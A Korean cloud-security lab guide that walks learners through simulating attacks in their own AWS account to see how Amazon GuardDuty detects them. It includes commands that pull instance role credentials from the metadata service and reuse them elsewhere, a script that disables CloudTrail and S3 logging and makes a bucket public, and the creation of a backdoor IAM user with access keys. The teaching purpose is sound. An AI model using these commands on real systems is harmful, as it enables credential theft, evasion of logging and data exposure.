Home
home

P2 섹션 17 - 보안 위협 탐지 - Amazon GuardDuty

1. 기본 환경 구성

이번 실습은 IAM 사용자 계정을 통해 관리 콘솔에 접근하고 액세스 키를 활용해 awscli 도구를 사용합니다.
해당 작업을 수행하지 않았다면 아래 토글을 확장해 작업을 선행하고 본격적인 실습에 들어갑니다.
IAM 사용자 생성 및 액세스 키 생성

1.1. Terraform을 통한 기본 인프라 배포

Terraform을 통한 기본 인프라 배포에 앞서 SSH 키 페어, IAM User Access Key ID, IAM User Secret Access Key를 미리 확인하고 메모해 둡니다.
Terraform으로 기본 인프라 배포
cd cnasg_class_tf/Section17
Bash
복사
# 실습 코드 경로 진입
export TF_VAR_KeyName=[각자 ssh keypair] export TF_VAR_NickName=[각자 닉네임] export TF_VAR_MyIamUserAccessKeyID=[각자 iam 사용자의 access key id] export TF_VAR_MyIamUserSecretAccessKey=[각자 iam 사용자의 secret access key] export TF_VAR_SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32
Bash
복사
# Terraform 환경 변수 저장
terraform init terraform plan
Bash
복사
# Terraform 배포
nohup sh -c "terraform apply -auto-approve" > create.log 2>&1 &
Bash
복사
Note:  Terraform 배포가 완료되면(약 5분 정도 대기) 정상적으로 자원 생성이 되었는지 확인을 합니다.(cat create.log)
실수로 Terraform 환경 변수를 설정하지 않은 상태에서 nohup으로 실행하면, terraform 에러가 발생해도 프로세스가 종료되지 않고 계속 점유될 수 있습니다.
이 경우 terraform 프로세스를 강제로 종료한 뒤, 환경 변수를 설정하고 다시 실행해야 합니다.
ps aux | grep -i terraform kill -9 <terraform_PID>
Bash
복사
# terraform 프로세스 강제 종료

1.2. 기본 정보 생성 및 확인

Terraform 배포가 완료 후 출력되는 Outputs 정보에서 cn_admin_ip, cn_worker_ip, cn_attacker_ip 의 퍼블릭 IP를 확인합니다.
대상 IP로 인스턴스에 SSH로 접속하고 아래 명령어를 통해 정보를 확인합니다.
CN-ADMIN
전역 변수 및 자격 증명 확인
echo ${AWS_DEFAULT_REGION} echo ${NICKNAME} echo ${ACCOUNT_ID}
Bash
복사
# 전역 변수 및 자격 증명 확인
aws sts get-caller-identity
Bash
복사
CN-WORKER & CN-ATTACKER
자격 증명 확인
aws sts get-caller-identity
Bash
복사
# 자격 증명 확인
CN-ADMIN
GuardDuty 활성화
aws guardduty list-detectors
Bash
복사
# GuardDuty 활성화 상태 확인
aws guardduty create-detector --enable
Bash
복사
# GuardDuty Detector 생성
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) echo "export DETECTOR_ID=${DETECTOR_ID}" >> /etc/profile echo $DETECTOR_ID
Bash
복사
# Detector ID 변수 선언
CloudTrail Trail 생성 (Case 2 대상)
aws s3api create-bucket \ --bucket cnasg-${NICKNAME}-trail \ --create-bucket-configuration LocationConstraint=${AWS_DEFAULT_REGION}
Bash
복사
# CloudTrail 저장용 버킷 생성
cat > trail-bucket-policy.json <<EOF { "Version": "2012-10-17", "Statement": [ { "Sid": "AWSCloudTrailAclCheck", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "s3:GetBucketAcl", "Resource": "arn:aws:s3:::cnasg-${NICKNAME}-trail" }, { "Sid": "AWSCloudTrailWrite", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "s3:PutObject", "Resource": "arn:aws:s3:::cnasg-${NICKNAME}-trail/AWSLogs/*", "Condition": { "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } } } ] } EOF
Bash
복사
# 버킷 정책에 Delivery Policy 추가
aws s3api put-bucket-policy \ --bucket cnasg-${NICKNAME}-trail \ --policy file://trail-bucket-policy.json
Bash
복사
aws cloudtrail create-trail \ --name cnasg-${NICKNAME}-trail \ --s3-bucket-name cnasg-${NICKNAME}-trail
Bash
복사
# CloudTrail - Trail 생성 및 시작
aws cloudtrail start-logging \ --name cnasg-${NICKNAME}-trail
Bash
복사
aws cloudtrail get-trail-status \ --name cnasg-${NICKNAME}-trail | jq
Bash
복사
# Trail 상태 확인 (IsLogging: true)
S3 데모 버킷 생성 (Case 2 대상)
aws s3api create-bucket \ --bucket cnasg-${NICKNAME}-demo \ --create-bucket-configuration LocationConstraint=${AWS_DEFAULT_REGION}
Bash
복사
# 실습용 S3 버킷 생성
echo "test data" > sample.txt aws s3 cp sample.txt s3://cnasg-${NICKNAME}-demo/sample.txt
Bash
복사
# 테스트 객체 업로드
aws s3api put-bucket-logging \ --bucket cnasg-${NICKNAME}-demo \ --bucket-logging-status '{ "LoggingEnabled": { "TargetBucket": "cnasg-'${NICKNAME}'-trail", "TargetPrefix": "demo-bucket-access-logs/" } }'
Bash
복사
# 대상 버킷에 서버 액세스 로깅 활성화
aws s3api get-bucket-logging \ --bucket cnasg-${NICKNAME}-demo | jq
Bash
복사
# 로깅 설정 확인

2. 위협 탐지 시나리오

이미 침해되어 자격 증명이 탈취된 워크로드를 가정하고, 이후 발생하는 위협 행위를 GuardDuty가 어떻게 탐지하는지 확인합니다.

2.1. [Case 1] 컴퓨팅 워크로드 (C2 통신)

침해된 워크로드가 공격자의 C2(Command and Control) 서버와 통신하는 상황을 시뮬레이션하고, GuardDuty가 이를 탐지하는지 확인합니다.
CN-WORKER
C2 서버 통신 시뮬레이션
dig GuardDutyC2ActivityB.com any
Bash
복사
# AWS 공식 GuardDuty 테스트 도메인으로 DNS 쿼리
CN-ADMIN
GuardDuty finding 대기 및 확인
DNS 쿼리 발생 후 findingIds가 뜨기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Backdoor:EC2/C&CActivity.B!DNS"]}}}'
Bash
복사
# finding 목록 조회 (Backdoor:EC2/C&CActivity.B!DNS) (상: 단일, 하: 반복)
watch -d "aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{\"Criterion\":{\"type\":{\"Eq\":[\"Backdoor:EC2/C&CActivity.B!DNS\"]}}}'"
Bash
복사
FINDING_ID_1=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Backdoor:EC2/C&CActivity.B!DNS"]}}}' \ --query 'FindingIds[0]' --output text) echo $FINDING_ID_1
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_1} | jq
Bash
복사
# finding 상세 확인

2.2. [Case 2] S3 데이터 침해 종합 행위

탈취한 자격 증명으로 흔적을 지우고, 접근 범위를 넓히고, 실제로 데이터를 공개하는 일련의 행위를 GuardDuty가 탐지하는지 확인합니다.
CN-WORKER
IMDS를 통한 임시 자격 증명 탈취 시뮬레이션
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Bash
복사
# IMDSv2 토큰 발급
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/) echo $ROLE_NAME
Bash
복사
# 연결된 역할 이름 확인
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
Bash
복사
# 임시 자격 증명 조회 (AccessKeyId / SecretAccessKey / Token)
출력된 AccessKeyId, SecretAccessKey, Token 값을 복사해서 CN-ATTACKER로 옮겨야 합니다.
CN-ATTACKER
탈취한 자격 증명 설정
aws configure set aws_access_key_id <복사한 AccessKeyId> aws configure set aws_secret_access_key <복사한 SecretAccessKey> aws configure set aws_session_token <복사한 Token>
Bash
복사
# 탈취한 임시 자격 증명 설정
aws sts get-caller-identity
Bash
복사
# 자격 증명 확인 (CN-WORKER 역할로 인증됨을 확인)
종합 공격 행위 실행 (흔적 지우기 → 접근 확장 → 데이터 공개)
cat > attack-sequence-test.sh << 'SCRIPT' #!/bin/bash set -x echo "=== 1. CloudTrail 로깅 중지 (Defense Evasion) ===" aws cloudtrail stop-logging --name cnasg-${NICKNAME}-trail echo "=== 2. S3 서버 액세스 로깅 중지 (Defense Evasion) ===" aws s3api put-bucket-logging --bucket cnasg-${NICKNAME}-demo --bucket-logging-status '{}' echo "=== 3. S3 Block Public Access 해제 (Privilege Escalation / Impact) ===" aws s3api put-public-access-block --bucket cnasg-${NICKNAME}-demo \ --public-access-block-configuration BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false echo "=== 4. S3 버킷 정책으로 실제 익명 접근 허용 (Policy:S3/BucketAnonymousAccessGranted) ===" cat > /tmp/public-policy.json << EOF { "Version": "2012-10-17", "Statement": [ { "Sid": "PublicReadSample", "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::cnasg-${NICKNAME}-demo/sample.txt" } ] } EOF aws s3api put-bucket-policy --bucket cnasg-${NICKNAME}-demo --policy file:///tmp/public-policy.json echo "=== 완료 ===" SCRIPT chmod +x attack-sequence-test.sh
Bash
복사
# 종합 공격 행위 실행 스크립트 생성 및 실행
./attack-sequence-test.sh
Bash
복사
CN-ADMIN
GuardDuty finding 확인
종합 행위 스크립트 실행 후 findingIds가 뜨기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
watch -d "aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --query 'FindingIds' --output json"
Bash
복사
# 전체 Finding 목록 조회 (총 5개까지 대기)
FINDING_ID_2_1=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Stealth:IAMUser/CloudTrailLoggingDisabled"]}}}' \ --query 'FindingIds[0]' --output text) echo CloudTrail 로깅 중지 : ${FINDING_ID_2_1} FINDING_ID_2_2=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Stealth:S3/ServerAccessLoggingDisabled"]}}}' \ --query 'FindingIds[0]' --output text) echo S3 서버 액세스 로깅 중지 : ${FINDING_ID_2_2} FINDING_ID_2_3=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Policy:S3/BucketBlockPublicAccessDisabled"]}}}' \ --query 'FindingIds[0]' --output text) echo S3 Block Public Access 해제 : ${FINDING_ID_2_3} FINDING_ID_2_4=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Policy:S3/BucketAnonymousAccessGranted"]}}}' \ --query 'FindingIds[0]' --output text) echo S3 익명 접근 허용 : ${FINDING_ID_2_4}
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_2_1} | jq
Bash
복사
# finding 상세 확인
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_2_2} | jq
Bash
복사
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_2_3} | jq
Bash
복사
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_2_4} | jq
Bash
복사

2.3. [Case 3] AWS 자격 증명 (인스턴스 자격 증명 외부 유출)

침해된 워크로드의 임시 자격 증명이 AWS 네트워크 밖에서 사용되는 상황을 시뮬레이션하고, GuardDuty가 이를 탐지하는지 확인합니다.
각자 사용자 PC
앞서 CN-WORKER에서 노출한 AccessKeyId, SecretAccessKey, Token 값을 복사해서 사용자 PC로 옮겨야 합니다.
탈취한 자격 증명 등록 및 AWS 밖에서 여러 행위 실행
export AWS_ACCESS_KEY_ID="복사한 값" export AWS_SECRET_ACCESS_KEY="복사한 값" export AWS_SESSION_TOKEN="복사한 값"
Bash
복사
# 탈취한 자격 증명 등록
export AWS_PAGER="" aws sts get-caller-identity aws s3 ls aws ec2 describe-instances --region ap-northeast-2 --query 'Reservations[*].Instances[*].InstanceId' aws iam list-users aws iam create-user --user-name backdoor-user-test aws iam create-access-key --user-name backdoor-user-test
Bash
복사
# 여러 행위 실행
자격 증명 원복
unset AWS_ACCESS_KEY_ID unset AWS_SECRET_ACCESS_KEY unset AWS_SESSION_TOKEN
Bash
복사
# 등록된 자격 증명 제거
CN-ADMIN
GuardDuty finding 확인
자격 증명 유출 후 findingIds가 뜨기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"]}}}'
Bash
복사
# finding 목록 조회 (UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS) (상: 단일, 하: 반복)
watch -d "aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{\"Criterion\":{\"type\":{\"Eq\":[\"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS\"]}}}'"
Bash
복사
FINDING_ID_3=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"]}}}' \ --query 'FindingIds[0]' --output text) echo $FINDING_ID_3
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_3} | jq
Bash
복사
# finding 상세 확인

2.4. [Case 4] 파일 기반 위협 (EICAR + On-Demand 스캔)

침해된 워크로드에 악성 파일이 존재하는 상황을 시뮬레이션하고, On-demand 맬웨어 스캔으로 GuardDuty가 이를 탐지하는지 확인합니다.
CN-ATTACKER
EICAR 테스트 파일 업로드
curl -s -o eicar_com.zip https://secure.eicar.org/eicar_com.zip unzip -o eicar_com.zip
Bash
복사
# EICAR 테스트 파일(zip) 다운로드 및 압축 해제 (실제 악성코드 아님, 백신 업계 표준 테스트 문자열)
cat eicar.com
Bash
복사
# 파일 확인
CN-ADMIN
On-demand 맬웨어 스캔 시작
ATTACKER_ARN=$(aws ec2 describe-instances \ --filters "Name=tag:Name,Values=CN-ATTACKER" "Name=instance-state-name,Values=running" \ --query 'Reservations[0].Instances[0].InstanceId' --output text) ATTACKER_ARN="arn:aws:ec2:${AWS_DEFAULT_REGION}:${ACCOUNT_ID}:instance/${ATTACKER_ARN}" echo $ATTACKER_ARN
Bash
복사
# CN-ATTACKER 인스턴스 ARN 확인
aws guardduty start-malware-scan \ --resource-arn ${ATTACKER_ARN}
Bash
복사
# On-demand 스캔 시작
On-demand 스캔은 GuardDuty 30일 무료체험에 포함되지 않으며, 스캔한 EBS 볼륨 크기만큼 소액 과금됩니다. (8GB로 약 $0.3)
스캔 결과 확인
스캔이 완료되기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
watch -d "aws guardduty describe-malware-scans --detector-id ${DETECTOR_ID} \ --query 'Scans[0].ScanStatus' --output text"
Bash
복사
# 스캔 상태 확인 (COMPLETED 대기)
aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Execution:EC2/MaliciousFile"]}}}'
Bash
복사
# finding 목록 조회 (Execution:EC2/MaliciousFile)
FINDING_ID_4=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"type":{"Eq":["Execution:EC2/MaliciousFile"]}}}' \ --query 'FindingIds[0]' --output text) echo $FINDING_ID_4
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \ --detector-id ${DETECTOR_ID} \ --finding-ids ${FINDING_ID_4} | jq
Bash
복사
# finding 상세 확인
전체 Finding 목록 조회 및 필터링
ALL_IDS=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} --query 'FindingIds' --output json) aws guardduty get-findings --detector-id ${DETECTOR_ID} \ --finding-ids $(echo $ALL_IDS | jq -r '.[]') \ --query 'Findings[*].[Title,Severity,Type]' --output table
Bash
복사
# 전체 finding 목록 (제목·심각도·유형)
HIGH_IDS=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \ --finding-criteria '{"Criterion":{"severity":{"Gte":7}}}' \ --query 'FindingIds' --output json) aws guardduty get-findings --detector-id ${DETECTOR_ID} \ --finding-ids $(echo $HIGH_IDS | jq -r '.[]') \ --query 'Findings[*].[Title,Severity,Type]' --output table
Bash
복사
# 심각도 7 이상(High 이상)만 필터링해서 확인
[관리 콘솔] GuardDuty → 요약에 접근해서 조사 결과를 파악하고 분석할 수 있습니다.

3. 실습 환경 삭제

관리 콘솔
실습용 IAM 사용자 및 액세스 키 삭제
[관리 콘솔] IAM → IAM 사용자 → backdoor-user-test 선택 → 삭제
→ 액세스 키 비활성화 (클릭) → confirm (입력) → 사용자 삭제
CN-ADMIN
GuardDuty 비활성화
aws guardduty delete-detector \ --detector-id ${DETECTOR_ID}
Bash
복사
# Detector 삭제 (GuardDuty 비활성화)
aws guardduty list-detectors
Bash
복사
# 삭제 확인
CloudTrail 삭제
aws cloudtrail delete-trail \ --name cnasg-${NICKNAME}-trail
Bash
복사
# CloudTrail 삭제
S3 버킷 삭제
aws s3 rb s3://cnasg-${NICKNAME}-trail --force
Bash
복사
# CloudTrail 저장용 버킷 삭제
aws s3 rb s3://cnasg-${NICKNAME}-demo --force
Bash
복사
# 데모 버킷 삭제
Terraform 자원 삭제
nohup sh -c "terraform destroy -auto-approve" > delete.log 2>&1 &
Bash
복사
# terraform 자원 삭제
Note:  Terraform 자원 삭제가 완료되면(약 3분 정도 대기) 정상적으로 자원 삭제가 되었는지 확인을 합니다.(cat delete.log)
여기까지 섹션 17 실습 - 보안 위협 탐지 - Amazon GuardDuty를 마칩니다.
수고하셨습니다 :)